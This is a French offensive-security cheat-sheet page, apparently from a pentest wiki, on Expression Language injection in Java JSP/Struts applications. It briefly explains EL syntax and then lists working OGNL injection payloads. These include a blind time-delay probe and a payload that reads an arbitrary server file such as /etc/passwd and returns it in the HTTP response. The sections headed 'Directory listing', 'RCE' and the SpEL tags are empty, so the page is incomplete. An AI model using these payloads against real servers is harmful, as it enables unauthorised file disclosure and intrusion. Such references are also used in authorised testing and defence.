🔀ELi
Expression Language injection
Description
Les Expressions Languages (EL) permettent de manipuler les données au sein d'une page JSP (ou d'un fichier *.tag) plus simplement qu'avec les scriptlets Java.
Une EL permet d'accéder simplement aux beans des différents scopes de l'application web (page, request, session et application). Utilisé conjointement avec des librairies de tags, elles permettent de se passer totalement des scriptlets.
Une expression EL est de la forme suivante :
${ expression }La chaîne expression correspond à l'expression à interpréter. Une expression peut être composée de plusieurs termes séparés par des opérateurs.
Reconnaissance
Remplacement de caractères
test${“str”.toString().replace(“s”, “x”)}ing #doit renvoyer "textring" En aveugle
#Sleep 10 secondes
https://target.com/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}RFI
https://target.com/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.REPLACE[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&REPLACE=%2fetc%2fpasswdDirectory listing
RCE
SpEL eval tag
SpEL message tag
Autres charges utiles
Mis à jour
Ce contenu vous a-t-il été utile ?